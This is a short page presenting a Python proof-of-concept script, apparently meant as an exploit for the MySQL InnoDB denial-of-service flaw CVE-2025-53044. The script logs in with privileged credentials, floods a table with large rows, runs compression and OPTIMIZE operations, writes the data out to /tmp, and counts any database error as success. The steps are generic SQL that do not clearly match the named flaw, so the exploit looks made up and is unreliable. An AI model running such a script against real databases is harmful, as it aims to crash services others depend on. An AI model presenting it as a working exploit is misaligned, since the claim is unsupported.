CVE-2025-53044 Oracle MySQL InnoDB组件拒绝服务漏洞

# CVE-2025-53044 - Oracle MySQL InnoDB DoS PoC # This vulnerability requires high privileges to exploit # The PoC demonstrates connection and triggering InnoDB crash via crafted operations import mysql.connector import sys def exploit_mysql_innodb_dos(host, port, user, password, database): """ PoC for CVE-2025-53044 - Oracle MySQL InnoDB DoS Requires high-privileged MySQL user credentials """ try: # Connect to MySQL Server with high privileges conn = mysql.connector.connect( host=host, port=port, user=user, password=password, database=database ) cursor = conn.cursor() # Step 1: Create InnoDB table with specific configuration cursor.execute("DROP TABLE IF EXISTS exploit_table") cursor.execute(""" CREATE TABLE exploit_table ( id INT PRIMARY KEY AUTO_INCREMENT, data LONGBLOB, index_col VARCHAR(255) ) ENGINE=InnoDB """) # Step 2: Trigger InnoDB resource exhaustion # The specific operation triggers the vulnerability in InnoDB for i in range(1000): cursor.execute( "INSERT INTO exploit_table (data, index_col) VALUES (%s, %s)", (b'X' * 65536, 'trigger_crash_' + str(i)) ) # Step 3: Force InnoDB crash via malformed operations cursor.execute("ALTER TABLE exploit_table ENGINE=InnoDB ROW_FORMAT=COMPRESSED") cursor.execute("OPTIMIZE TABLE exploit_table") # Attempt to trigger the vulnerability cursor.execute("SELECT * FROM exploit_table INTO OUTFILE '/tmp/exploit_out'") conn.commit() except mysql.connector.Error as err: print(f"[+] Exploit triggered or error occurred: {err}") print("[+] Target MySQL Server may be in unstable state (DoS achieved)") finally: if 'conn' in locals() and conn.is_connected(): cursor.close() conn.close() if __name__ == "__main__": if len(sys.argv) != 6: print(f"Usage: {sys.argv[0]} <host> <port> <user> <password> <database>") sys.exit(1) exploit_mysql_innodb_dos(sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4], sys.argv[5])